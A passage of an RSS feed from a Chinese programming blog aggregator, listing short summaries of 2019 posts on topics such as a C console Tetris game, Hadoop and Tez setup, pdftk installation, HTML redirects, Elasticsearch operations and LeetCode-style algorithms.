首先对cmd运行窗口做了处理，Hide_Cursor();中调用光标相关API隐藏光标。color();中对光标键入颜色做了预设，共计6种预设颜色。编写了gotoxy(int x,int y);函数，通过COORD这一windows API控制光标在cmd窗口中的坐标位置。&#xA;2. 在开发之初先使用Inter_Face();构设了界面（地图边界WALL，操作提示信息），之后通过blocks[base][space_z]，（一维base表示7个基础方块，二维space_z表示旋转状态），叠加space[4][4]，得到一个四维数组，用来预设7+7*3=28种图形。&#xA;课设报告中留下的截图，不是很清晰 3. 在main（）;主函数中，完成了初始化界面Inter_Face();和预设28种图形Inter_Blocks();的工作，并使用srand(time(NULL));预设了随机种子，供后续调用。使用Read_File();读取最高得分记录。而游戏部分，单独交给了套在while(1)永循环中的Start_Game();来执行。&#xA;4. Start_Game()分为两部分，开头是渲染右上角下一个提示图形，第二部分是while(1)，也就是左侧游戏区图形下落和堆叠&#xA;5. Start_Game();中，对于每帧刷新的实现通过如下方法实现：&#xA;int t=15000;while(--t){ if (kbhit() != 0);break};停顿的时间即—t跑一万五千次+调用一万五千次kbhit()函数的时间（kbhit()是一个C和C++函数，用于非阻塞地响应键盘输入事件）。&#xA;Draw_Kong是把原图形画成空白，Draw_Blocks是在x,y位置画出图形，gotoxy(x,y)会把光标移动到cmd窗口(x,y)坐标位置, 函数Bottom()判断是否到达底部这样一直gotoxy(x,y)，Draw_Blocks，Bottom判断，Draw_Kong，y++&#xA;gotoxy(x,y)，Draw_Blocks，Bottom判断，Draw_Kong，y++&#xA;……&#xA;6. 堆叠部分，使用face,data[][]和face,color[][]来保存堆叠的BOX数据。&#xA;7. 判断是否触碰底部函数Bottom()，也是在测算当前光标坐标（x,y）渲染出的blocks[base][space_z].space[4][4],如果再次y++下移，是否会与face.data[][]中的BOX或WALL重叠，如果重叠，那么把当前光标坐标（x,y）位置渲染出的blocks[base][space_z].space[4][4]中1（即图形部分），存在对应face.data[][]位置，置为BOX。&#xA;三、开发过程中遇到的问题及解决办法 1. 旋转算法，让7种基础形状变换出剩余的21种&#xA;解决办法：blocks[base][space_z + 1].space[i][j] = tem[4 - j - 1][i]; //控制一边坐标不变，另一边为4 - i - 1，然后再行列互换，这样可以保证四次旋转不同，如果仅仅行列互换，将会导致只有两种旋转状态</description>
    </item>
    <item>
      <title>Visio直角连接线增加直角拐弯的方法</title>
      <link>https://bchobby.github.io/posts/7d058f9e06011337eadfb64fdf741904/</link>
      <pubDate>Wed, 18 Sep 2019 10:59:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d058f9e06011337eadfb64fdf741904/</guid>
      <description>1、由于viaio最多只能绘制两个弯度的连接线，所以首先随便绘制一个连接线。&#xA;2、选中该连接线，然后按下shift 键同时鼠标拖动要拐弯的地方即可！&#xA;3、调整即可达到想要的任意弯度数。</description>
    </item>
    <item>
      <title>uni-app导航栏配置</title>
      <link>https://bchobby.github.io/posts/f4d3aae2ae9d5b37534588797ff536dc/</link>
      <pubDate>Wed, 18 Sep 2019 10:22:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4d3aae2ae9d5b37534588797ff536dc/</guid>
      <description>uni-app写app的内容会与沉浸栏重合在一起，写好好多，都是有点问题的，这次终于找到解决的方法了，与大家分享一下&#xA;最简单的解决方式就是配置mainfest.json来关闭沉浸式。即通过打开应用的manifest.json文件，切换到代码视图，在app-plus -&amp;gt; statusbar 下添加immersed节点并设置值为false。 &#34;app-plus&#34; : { &#34;statusbar&#34;: { &#34;immersed&#34;: false }, } App因为默认为沉浸式，去除导航栏后，页面顶部会直通到状态栏的区域，可能出现如下需求：&#xA;改变状态栏文字颜色：设置该页面的 navigationBarTextStyle 属性，可取值为 black/white。如果想单独设置颜色，App端可使用plus.navigator.setStatusBarStyle设置。部分低端Android手机 自身不支持设置状态栏前景色。改变状态栏背景颜色：通过绘制一个占位的view固定放在状态栏位置，设置此view的背景颜色，即可达到想要的效果，uni-app提供了一个状态栏高度的css变量，具体参考：uni-app内置的CSS变量。 &amp;lt;template&amp;gt; &amp;lt;view&amp;gt; &amp;lt;!-- #ifdef APP-PLUS --&amp;gt; &amp;lt;view class=&#34;status_bar&#34;&amp;gt; &amp;lt;view class=&#34;top_view&#34;&amp;gt;&amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;!-- #endif --&amp;gt; &amp;lt;view&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { data() { return { } }, methods: { } } &amp;lt;/script&amp;gt; &amp;lt;style&amp;gt; .status_bar { height: var(--status-bar-height); width: 100%; background-color: #F8F8F8; } .top_view { height: var(--status-bar-height); width: 100%; position: fixed; background-color: #F8F8F8; top: 0; z-index: 999; } &amp;lt;/style&amp;gt; var(--status-bar-height) 此变量在微信小程序环境为固定 25px，在 5+App 里为手机实际状态栏高度。当设置 &#34;</description>
    </item>
    <item>
      <title>Tez安装与使用（与hive配合使用）及lzo.jar报错错误解决</title>
      <link>https://bchobby.github.io/posts/8f83bdcfd6204579442dae32537a12dd/</link>
      <pubDate>Tue, 17 Sep 2019 21:50:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f83bdcfd6204579442dae32537a12dd/</guid>
      <description>1 tez介绍 tez是一个apache的开源项目，意在构建一个应用框架，能通过复杂任务的DAG来处理数据。它是基于当前的hadoop yarn之上，换句话就是yarn为其提供资源。&#xA;tez主要的两个设计目标:&#xA;增强终端用户使用:&#xA;灵活的数据流定义API&#xA;灵活的输入输出运行时模型(强调处理模型)&#xA;数据类型无关&#xA;简洁部署&#xA;高性能执行:&#xA;通过mapreduce提高性能&#xA;资源优化管理&#xA;执行时计划重定义&#xA;物理数据流的动态决策&#xA;tez可以像Apache Hive和Apache Pig这样的项目运行复杂的任务DAG，Tez可以用于处理数据，早期使用了多个MR作业，现在在单个Tez作业中&#xA;注:&#xA;天蓝色方块为map，绿色方块为reduce，云状的为输出隐藏，绿色的圆圈为一个mr。&#xA;参考官网:http://tez.apache.org/&#xA;2 tez的安装 2.1 tez下载 tez提供咯二进制包和源码包，二者官网下载路径:&#xA;https://mirrors.tuna.tsinghua.edu.cn/apache/tez/0.9.2/&#xA;注:&#xA;官方提供咯源码包和二进制包，我这儿就不在下载源码来编译，而是直接使用其二进制包来安装。&#xA;我直接下载的apache-tez-0.9.2-bin.tar.gz这个&#xA;2.2 tez源码编译 暂时不下载源码包来编译，费时，可以自行参考官网编译。参考官网编译地址:&#xA;http://tez.apache.org/install.html&#xA;2.3 tez的安装 1.解压重命名: 1.解压重命名: [root@hadoop01 ~]# tar -zxvf /home/apache-tez-0.9.2-bin.tar.gz -C /usr/local/ [root@hadoop01 ~]# mv /usr/local/apache-tez-0.9.2-bin/ /usr/local/tez-0.9.2/ 2.上传tez.tar.gz到hdfs中一个目录 注意要提前开启hadoop集群&#xA;上传tez.tar.gz到hdfs中一个目录中: [root@hadoop01 tez-0.9.0]# hdfs dfs -mkdir /tez-0.9.2 [root@hadoop01 tez-0.9.0]# hdfs dfs -put /usr/local/tez-0.9.2/share/tez.tar.gz /tez-0.9.2 1.tez.tar.gz 就是tez-0.9.2/share/ 下的</description>
    </item>
    <item>
      <title>每日一题：滑动窗口的最大值 by python</title>
      <link>https://bchobby.github.io/posts/39ba873a634fa5ffa292b55ca4ca5666/</link>
      <pubDate>Tue, 17 Sep 2019 20:42:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39ba873a634fa5ffa292b55ca4ca5666/</guid>
      <description> 题目描述：&#xA;给定一个数组和滑动窗口的大小，找出所有滑动窗口里数值的最大值。例如，如果输入数组{2,3,4,2,6,2,5,1}及滑动窗口的大小3，那么一共存在6个滑动窗口，他们的最大值分别为{4,4,6,6,6,5}； 针对数组{2,3,4,2,6,2,5,1}的滑动窗口有以下6个： {[2,3,4],2,6,2,5,1}， {2,[3,4,2],6,2,5,1}， {2,3,[4,2,6],2,5,1}， {2,3,4,[2,6,2],5,1}， {2,3,4,2,[6,2,5],1}， {2,3,4,2,6,[2,5,1]}。&#xA;代码：&#xA;# -*- coding:utf-8 -*- class Solution: def maxInWindows(self, num, size): # write code here if size &amp;lt;= 0: return [] res = [] for i in range(0, len(num)-size+1): res.append(max(num[i:i+size])) return res </description>
    </item>
    <item>
      <title>双指针算法</title>
      <link>https://bchobby.github.io/posts/86a66618763b927606bc221987d7ce1c/</link>
      <pubDate>Tue, 17 Sep 2019 15:11:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86a66618763b927606bc221987d7ce1c/</guid>
      <description>1. 验证回文字符串 题目 给定一个字符串，验证它是否是回文串，只考虑字母和数字字符，可以忽略字母的大小写。&#xA;说明：本题中，我们将空字符串定义为有效的回文串。&#xA;示例 1:&#xA;输入: &#34;A man, a plan, a canal: Panama&#34;&#xA;输出: true&#xA;示例 2:&#xA;输入: &#34;race a car&#34;&#xA;输出: false&#xA;来源：力扣（LeetCode）&#xA;链接：https://leetcode-cn.com/problems/valid-palindrome&#xA;著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。&#xA;思路 双指针算法的基本应用，从两边向中心移动，遇到不符条件的字符跳过。&#xA;代码 class Solution { public boolean isPalindrome(String s) { if(s == null || s.length() == 0){ return true; } int left = 0, right = s.length() - 1; while(left &amp;lt; right){ while(left &amp;lt; right &amp;amp;&amp;amp; !Character.isLetter(s.charAt(left)) &amp;amp;&amp;amp; !Character.isDigit(s.charAt(left))) { left++; } while(left &amp;lt; right &amp;amp;&amp;amp; !</description>
    </item>
    <item>
      <title>hbase demo 版本</title>
      <link>https://bchobby.github.io/posts/faca57c6305e4e3f1be35bc5eb112b03/</link>
      <pubDate>Sun, 15 Sep 2019 23:55:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/faca57c6305e4e3f1be35bc5eb112b03/</guid>
      <description> hbase 的架构已经很明确了，论文中已经提到了，&#xA;下面看一下，HRegion Sever架构图&#xA;0.94之前的版本 WAL: 即Write Ahead Log， 是HDFS上一个文件，早期版本中称为HLog，用以存储尚未进行持久化的数据。 所有写操作都会先保证将数据写入这个Log文件后，才会真正更新MemStore，最后写入HFile中。采用这种模式，可以保证HRegionServer宕机后，我们依然可以从该Log文件中读取数据，Replay所有的操作，而不至于数据丢失。这个Log文件会定期Roll出新的文件而删除旧的文件(那些已持久化到HFile中的Log可以删除)。&#xA;WAL文件存储在/hbase/WALs/${HRegionServer_Name}的目录中(在0.94之前，存储在/hbase/.logs/目录中)，一般一个HRegionServer只有一个WAL实例，也就是说一个HRegionServer的所有WAL写都是串行的(就像log4j的日志写也是串行的)，这当然会引起性能问题，因而在HBase 1.0之后，通过HBASE-5699实现了多个WAL并行写(MultiWAL)，该实现采用HDFS的多个管道写，以单个HRegion为单位。&#xA;BlockCache: 是一个读缓存。在内存中存放经常读的数据，提升读性能。当缓存满的时候，最近最少使用的数据（Least Recently Used data ）被踢出去。 MemStore:是一个写缓存。存储尚未写到磁盘中的数据。在写到磁盘之前，数据是经过排序的。在Region中每个column family对应一个HStore，每个HStore有一个MemStore和0到过个HFile。Hfiles ：在磁盘上，用于存储排序后的数据行（KeyValues.） </description>
    </item>
    <item>
      <title>Window10安装Hadoop 配置步骤</title>
      <link>https://bchobby.github.io/posts/033e1c2862cc863f597d31079607a957/</link>
      <pubDate>Sun, 15 Sep 2019 22:12:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/033e1c2862cc863f597d31079607a957/</guid>
      <description>步骤目录 为Hadoop准备Java环境下载Hadoop添加Hadoop到系统变量 Hadoop配置etc/hadoop/core-site.xmlhdfs-site.xmlyarn-site.xmlmapred-site.xmlhadoop-env.cmd 测试运行格式化HDFS启动！ 题前话：Hadoop官方认定Hadoop环境最好还是运行在Ubuntu系统上，由于笔者比较倾向在Win上面做开发，所以就先装在Window10上了。 为Hadoop准备Java环境 由于Hadoop运行需要Java1.8.0以上的环境，请先自行下载Java并添加入系统环境变量JAVA_HOME如果在CMD中输入java、javac出现如下提示则表名java环境已经准备好了。&#xA;下载Hadoop hadoop下载地址 解压到你想解压的地方就完事。图片是旧的，现在已经使用3.x了&#xA;添加Hadoop到系统变量 Hadoop配置 进入hadoop的安装目录，修改以下文件&#xA;etc/hadoop/core-site.xml &amp;lt;configuration&amp;gt; &amp;lt;!-- 在哪台机器启动hdfs文件系统 --&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;fs.defaultFS&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;hdfs://Devil:9000&amp;lt;/value&amp;gt; &amp;lt;!--这里Devil务必替换成你的管理员名称--&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;!--hadoop产生的临时文件放到哪里--&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;hadoop.tmp.dir&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;file:/D:/bigDatatest/da/hadooptmp&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;/configuration&amp;gt; hdfs-site.xml 这里需要建立存放namenode和datanode的文件夹，可自行选择位置创建，无所谓名称、位置，你喜欢就好，但不能没有。&#xA;&amp;lt;configuration&amp;gt; &amp;lt;!--hdfs的备份因子，1就是只有一个备份。也就是只有一份--&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.replication&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;1&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;!-- hdfs集群的名称 --&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.nameservices&amp;lt;/name&amp;gt; &amp;lt;!-- hdfs集群的名称可以随意取 --&amp;gt; &amp;lt;value&amp;gt;hadoop-cluster&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;!-- 配置nameNode第二节点的位置--&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.namenode.secondary.http-address&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;Devil:50090&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;!-- hdfs集群web访问的地址, 这句不配置访问的路径就是localhost:9870--&amp;gt; &amp;lt;!--&amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.http.address&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;Devil:9870&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt;--&amp;gt; &amp;lt;!-- hdfs集群上 块的大小 --&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.blocksize&amp;lt;/name&amp;gt; &amp;lt;value&amp;gt;32m&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;!-- hdfs集群的namenode(主节点) 运行过程中的中间数据存放位置 --&amp;gt; &amp;lt;property&amp;gt; &amp;lt;name&amp;gt;dfs.</description>
    </item>
    <item>
      <title>linux处理pdf工具pdftk（centos7.4 安装pdftk）</title>
      <link>https://bchobby.github.io/posts/6716fa595b4d99fee14fba983d835193/</link>
      <pubDate>Sun, 15 Sep 2019 19:35:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6716fa595b4d99fee14fba983d835193/</guid>
      <description>第一步:安装依赖&#xA;yum install gcc gcc-c++ libXrandr gtk2 libXtst libart_lgpl 第二步:安装libgcj,由于用镜像找不到它只能手动下载&#xA;wget http://mirror.centos.org/centos/6/os/x86_64/Packages/libgcj-4.4.7-23.el6.x86_64.rpm rpm -ivh --nodeps libgcj-4.4.7-23.el6.x86_64.rpm 第三部:安装PDFtk&#xA;wget https://www.pdflabs.com/tools/pdftk-the-pdf-toolkit/pdftk-2.02-1.el6.x86_64.rpm yum install pdftk-2.02-1.el6.x86_64.rpm 打开terminal输入&#xA;which pdftk 就可以看到/usr/bin/pdftk证明已经安装成功了.</description>
    </item>
    <item>
      <title>如何在网页中插入视频（简单实用）</title>
      <link>https://bchobby.github.io/posts/ad5917d1d758e0dfcc41bcd887eb15c4/</link>
      <pubDate>Sun, 15 Sep 2019 19:34:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad5917d1d758e0dfcc41bcd887eb15c4/</guid>
      <description>很多人会问在网页中怎么插入视频，在HTML5中有新标签--video标签，但是兼容性可就没那么好了。&#xA;下面这段代码可以直接使用，里面的几个路径注意一下。&#xA;&amp;lt;object classid=&#34;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&#34; codebase=&#34;http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,19,0&#34; width=&#34;512&#34; height=&#34;384&#34;&amp;gt; &amp;lt;param name=&#34;movie&#34; value=&#34;http://xwzx.dzu.edu.cn/news/xuanchuan/fl.swf&#34; /&amp;gt; &amp;lt;param name=&#34;quality&#34; value=&#34;high&#34; /&amp;gt; &amp;lt;param name=&#34;allowFullScreen&#34; value=&#34;true&#34; /&amp;gt; &amp;lt;param name=&#34;FlashVars&#34; value=&#34;vcastr_file=http://xwzx.dzu.edu.cn/news/xuanchuan/zwx.flv&amp;amp;LogoText=Dezhou University&amp;amp;BufferTime=3&#34; /&amp;gt; &amp;lt;embed src=&#34;http://xwzx.dzu.edu.cn/news/xuanchuan/fl.swf&#34; allowfullscreen=&#34;true&#34; autostart=&#34;true&#34; FlashVars=&#34;vcastr_file=http://xwzx.dzu.edu.cn/news/xuanchuan/zwx.flv&amp;amp;LogoText=Dezhou University&amp;amp;IsAutoPlay=1&amp;amp;BufferTime=3&#34; quality=&#34;high&#34; pluginspage=&#34;http://www.macromedia.com/go/getflashplayer&#34; type=&#34;application/x-shockwave-flash&#34; width=&#34;512&#34; height=&#34;384&#34;&amp;gt;&amp;lt;/embed&amp;gt; &amp;lt;/object&amp;gt; 注意一下里面的几个参数。&#xA;http://xwzx.dzu.edu.cn/news/xuanchuan/fl.swf 这个里面的路径是一个文件路径，得有&#xA;http://xwzx.dzu.edu.cn/news/xuanchuan/zwx.flv&amp;amp;LogoText=Dezhou University&amp;amp;BufferTime=3； 这个路径是你自定义的一个路径，注意要用绝对路径。还有LogoText后边的值是页面上要显示的文字&#xA;视频注意一下格式：flv swf</description>
    </item>
    <item>
      <title>【HTML】Html页面跳转的5种方式</title>
      <link>https://bchobby.github.io/posts/cd5b8a03508f319733d8c8b023bddeb9/</link>
      <pubDate>Sun, 15 Sep 2019 18:33:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd5b8a03508f319733d8c8b023bddeb9/</guid>
      <description>目录结构：&#xA;contents structure [-] html实现javascript方式实现 结合了倒数的javascript实现（IE）解决Firefox不支持innerText的问题结合了倒数的javascript实现(IE,Firefox)参考文章 下面列了五个例子来详细说明，这几个例子的主要功能是：在5秒后，自动跳转到同目录下的hello.html（根据自己需要自行修改）文件。&#xA;1) html的实现&#xA;&amp;lt;head&amp;gt;&#xD;&amp;lt;!-- 以下方式只是刷新不跳转到其他页面 --&amp;gt;&#xD;&amp;lt;meta http-equiv=&#34;refresh&#34; content=&#34;10&#34;&amp;gt;&#xD;&amp;lt;!-- 以下方式定时转到其他页面 --&amp;gt;&#xD;&amp;lt;meta http-equiv=&#34;refresh&#34; content=&#34;5;url=hello.html&#34;&amp;gt; &amp;lt;/head&amp;gt; 优点：简单&#xA;缺点：Struts Tiles中无法使用&#xA;2) javascript的实现&#xA;&amp;lt;script language=&#34;javascript&#34; type=&#34;text/javascript&#34;&amp;gt; // 以下方式直接跳转&#xD;window.location.href=&#39;hello.html&#39;;&#xD;// 以下方式定时跳转&#xD;setTimeout(&#34;javascript:location.href=&#39;hello.html&#39;&#34;, 5000); &amp;lt;/script&amp;gt; 优点：灵活，可以结合更多的其他功能&#xA;缺点：受到不同浏览器的影响&#xA;3) 结合了倒数的javascript实现（IE）&#xA;&amp;lt;span id=&#34;totalSecond&#34;&amp;gt;5&amp;lt;/span&amp;gt;&#xD;&amp;lt;script language=&#34;javascript&#34; type=&#34;text/javascript&#34;&amp;gt; var second = totalSecond.innerText; setInterval(&#34;redirect()&#34;, 1000); function redirect(){ totalSecond.innerText=--second; if(second&amp;lt;0) location.href=&#39;hello.html&#39;; } &amp;lt;/script&amp;gt; 优点：更人性化&#xA;缺点：firefox不支持（firefox不支持span、div等的innerText属性）&#xA;3&#39;) 结合了倒数的javascript实现（firefox）&#xA;&amp;lt;script language=&#34;javascript&#34; type=&#34;text/javascript&#34;&amp;gt; var second = document.</description>
    </item>
    <item>
      <title>Python连接MySQL- pymysql.err.InternalError: (1698, &#34;Access denied for user &#39;root&#39;@&#39;localhost&#39;&#34;)</title>
      <link>https://bchobby.github.io/posts/a6c57f5abea30fea69385a8673953aa4/</link>
      <pubDate>Sun, 15 Sep 2019 12:22:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6c57f5abea30fea69385a8673953aa4/</guid>
      <description>环境：&#xA;Python 3.6 + MySQL5.7 + ubuntu18.04&#xA;最近在学习 Python 连接 MySQL 时，出现了一个错误 pymysql.err.InternalError: (1698, &#34;Access denied for user &#39;root&#39;@&#39;localhost&#39;&#34;)。&#xA;由于刚接触这部分内容，不知道如何解决，逛了一些技术博客之后依旧未解决，但最后还是发现问题出在了MySQL上。&#xA;原因在于：在我的ubuntu中安装MySQL时，默认是没有设置密码的。用Python脚本连接MySQL时，MySQL拒绝访问。&#xA;解决办法：给MySQL设置密码！&#xA;设置密码的办法有很多，大家可以去博客上找，例如：https://blog.csdn.net/qq_38737992/article/details/81090373&#xA;设置完密码之后，再重新运行Python脚本，就可以连接上MySQL了！</description>
    </item>
    <item>
      <title>数据链路层之以太网协议和网络层IP协议</title>
      <link>https://bchobby.github.io/posts/a5d6f34de2eebdd256e0dd95182b3530/</link>
      <pubDate>Thu, 12 Sep 2019 20:54:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a5d6f34de2eebdd256e0dd95182b3530/</guid>
      <description>在 IP 数据包交付的过程中，在数据链路层会对数据包进行添加报头信息。以太网协议就是数据链路层的一个重要协议。这样说其实不太准确，因为以太网协议是一个规定数据链路层及物理层的协议，不能说它是数据链路层的一个协议。&#xA;以太网帧 以太网帧就是将网络层交付的数据添加报头信息后，此时的数据以帧的形式传递。以太网帧的格式如下：&#xA;在这里，目的地址与源地址这里都指的是 MAC 地址。每一个主机对应唯一的一个 MAC 地址，是由网卡决定的，长度是 48 位，所以这里的目的地址与源地址都是 6 个字节，也就是 48 个比特位。&#xA;在以太网帧的最后，还有一个 CRC 校验码，来校验数据是否异常。&#xA;在中间，有一个两个字节的类型标识。这个类型字段有三种值，分别是 ： IP、ARP、RARP。&#xA;IP&#xA;如果类型码为 0800 那么在数据链路层解包完毕后，将该数据交付给网络层的 IP 协议来处理该报文。&#xA;ARP&#xA;如果类型码是 0806 ， 那么在向上层交付的时候就交付给 ARP 协议，这里要说的是 ARP 协议是处于数据链路层与网络层之间的一种协议，也叫作地址解析协议。它将 IP 地址转换为 MAC 地址。&#xA;RARP&#xA;RARP 协议，就是 Reverse ARP，与 ARP 协议相同，是将 MAC 地址转换为 IP 地址的协议。&#xA;一般来说，数据第一次发送给目的主机时，在这之前应该发送 ARP 协议，根据目的主机的 IP 地址来确定目的主机的 MAC 地址，从而为后面的数据发送与接收提供便利。&#xA;MAC地址与IP地址 在数据发送传输的过程中，目的 IP 地址与源 IP 地址是永远不会变的，这是这个数据的起始与终点，而 MAC 地址是一直在变化的，由于数据在传输的过程中会经历很多的主机等，所以在这个过程中 MAC 地址一直在变。类似于我们坐车，要坐车从 A 出发，目的地是 D。这个过程中我们会经过 B C，在到达 B 的时候，此时的 MAC 地址相当于我们上一站是 A ， 下一站是 C。而目的 IP 地址与 源 IP 地址 分别是 D 与 A，这样说的话就很好理解了。</description>
    </item>
    <item>
      <title>ES常用操作记录</title>
      <link>https://bchobby.github.io/posts/90eb77d0bdfff2723f30c8678eaad037/</link>
      <pubDate>Thu, 12 Sep 2019 18:20:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90eb77d0bdfff2723f30c8678eaad037/</guid>
      <description>文章目录 1. 创建索引2. 删除某个索引中的所有数据3. 查看文档 mapping4. 向现有 mapping 中增加字段5. 删除索引6. 创建/删除/切换别名 1. 创建索引 [PUT] -&amp;gt; ip:9200/index_name，请求体：&#xA;{ &#34;settings&#34;: { &#34;analysis&#34;: { &#34;filter&#34;: { &#34;remote_synonym&#34;: { &#34;type&#34;: &#34;dynamic_synonym&#34;, &#34;synonyms_path&#34;: &#34;http://xxx.oss-cn-beijing.aliyuncs.com/search/synonym_dic.txt&#34;, &#34;interval&#34;: &#34;30&#34; } }, &#34;analyzer&#34;: { &#34;synonym_smart&#34;: { &#34;filter&#34;: [ &#34;remote_synonym&#34; ], &#34;tokenizer&#34;: &#34;ik_smart&#34; }, &#34;ik_smart&#34;: { &#34;tokenizer&#34;: &#34;ik_smart&#34; }, &#34;ik_max_word&#34;: { &#34;tokenizer&#34;: &#34;ik_max_word&#34; } } } }, &#34;mappings&#34;: { &#34;doc&#34;: { &#34;dynamic&#34;: false, &#34;properties&#34;: { &#34;id&#34;: { &#34;type&#34;: &#34;long&#34; }, &#34;</description>
    </item>
    <item>
      <title>Tensorflow Object Detection API</title>
      <link>https://bchobby.github.io/posts/923b8b575c0cb22c09e699a0ac3478d6/</link>
      <pubDate>Thu, 12 Sep 2019 13:00:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/923b8b575c0cb22c09e699a0ac3478d6/</guid>
      <description>Tensorflow Object Detection API Tensorflow Object Detection API环境准备安装或升级protoc编译proto文件将Slim加入PYTHONPATH完成安装测试 使用预训练模型进行图片检测更换预测模型 Tensorflow Object Detection API TensorFlow Object Detection API Github&#xA;https://github.com/tensorflow/models/research/object_detection&#xA;注意：object_detection依赖slim。&#xA;使用时，我们需要将research下的object_detection和slim都拷贝出来。&#xA;环境准备 安装或升级protoc 在object_detection/ptoroc中，可以看到一些proto文件，我们需要使用protoc程序将这些proto文件编译为python文件才可以。&#xA;TensorFLow Object Detection必须使用2.6.0以上的protoc进行编译，否则会报错。可以使用如下指令查看protoc的版本。&#xA;protoc --version 如果版本低于2.6.0就需要进行版本升级，如果版本高于2.6.0可以忽略当前操作。&#xA;protoc下载地址&#xA;下载文件后解压，会得到一个 protoc 文件，将它复制到系统的可执行目录即可，例如：&#xA;sudo cp bin/protoc /usr/local/bin 然后查看版本是否是新安装的版本。&#xA;编译proto文件 接下来，我们需要将“ object_detection/protos/”下的“.proto”文件进行编译，编译为“.py”文件，执行如下指令：&#xA;protoc object_detection/protos/*.proto --python_out=. 运行完，如果每一个“.proto”文件都生成了对于的“.py”文件，说明编译成功了。&#xA;将Slim加入PYTHONPATH TensorFlow Object Detection API 是以 Slim 为基础实现的，需要将 Slim 的目录加入 PYTHONPATH 后才能正确运行。具体来说，还是在 research 文 件夹下执行下面的命令。&#xA;export PYTHONPATH=$PYTHONPATH:`pwd`:`pwd`/slim 执行完，我们打开一个python shell，执行“import slim”运行成功，表示已经正确配置。&#xA;完成安装测试 python object_detection/builders/model_builder_test.py 这条命令会自动检查 TensorFlow Object Detection API 是否正确安装，如果出现&#34;</description>
    </item>
    <item>
      <title>MFC编辑框如何多行显示内容</title>
      <link>https://bchobby.github.io/posts/d214bae1b674649da3c88ce4b6cc1c45/</link>
      <pubDate>Thu, 12 Sep 2019 10:54:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d214bae1b674649da3c88ce4b6cc1c45/</guid>
      <description>目录&#xA;一、创建编辑框&#xA;1、创建编辑框&#xA;2、编辑框添加变量&#xA;二、代码实现：编辑框多行显示我们需要的消息&#xA;1、初始化&#xA;2、显示消息到edit中&#xA;3、边框框设置属性：让其支持拖拽条&#xA;multiline(多行)：&#xA;Auto HScroll：自动水平滚动&#xA;Auto VScroll：自动垂直滚动&#xA;Horizontal Scroll:水平滚动条&#xA;Vertical Scroll:垂直滚动条&#xA;4、测试：运行结果&#xA;5、将编辑框内容写到梅神的FastOutputLog里面&#xA;6、效果&#xA;一、创建编辑框 1、创建编辑框 2、编辑框添加变量 点击编辑框——》点击项目——》点击类向导——》点击添加变量——》填入edit的名字，这样edit就有了名字了——》然后头文件中就有了这个变量的名字了&#xA;二、代码实现：编辑框多行显示我们需要的消息 1、初始化 bool CXMLTestDlg::InitEdit() { CWnd *pWnd; pWnd = GetDlgItem( IDC_EDIT1 ); //获取控件指针，IDC_EDIT1为控件ID号 pWnd-&amp;gt;MoveWindow( CRect(600,0,1000,1000) ); //在窗口左上角显示一个宽100、高100的编辑控件 return true; } 2、显示消息到edit中 void CXMLTestDlg::EditShowData(CString _s) { CString cstr_temp;&#x9;m_edit.GetWindowTextW(cstr_temp); //获取编辑框内容 CString cstr_temp02=cstr_temp+&#34;\r\n&#34;+_s; //设置输入框的内容 m_edit.SetWindowText(cstr_temp02); } 3、边框框设置属性：让其支持拖拽条 multiline(多行)： Auto HScroll：自动水平滚动 选中时控件只能输入数字 水平滚动（Horizontal scroll） 水平滚动，仅对多行编辑框有效 自动水平滚动（Auto HScroll） 当用户在行尾输入一个字符时，文本自动向右滚动 垂直滚动（Vertical scroll） 垂直滚动，仅对多行编辑框有效 自动垂直滚动</description>
    </item>
    <item>
      <title>c&#43;&#43; 一维数组转二维数组</title>
      <link>https://bchobby.github.io/posts/4cffab1fdd77e5b2066e7bfcd82c0a77/</link>
      <pubDate>Thu, 12 Sep 2019 10:47:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cffab1fdd77e5b2066e7bfcd82c0a77/</guid>
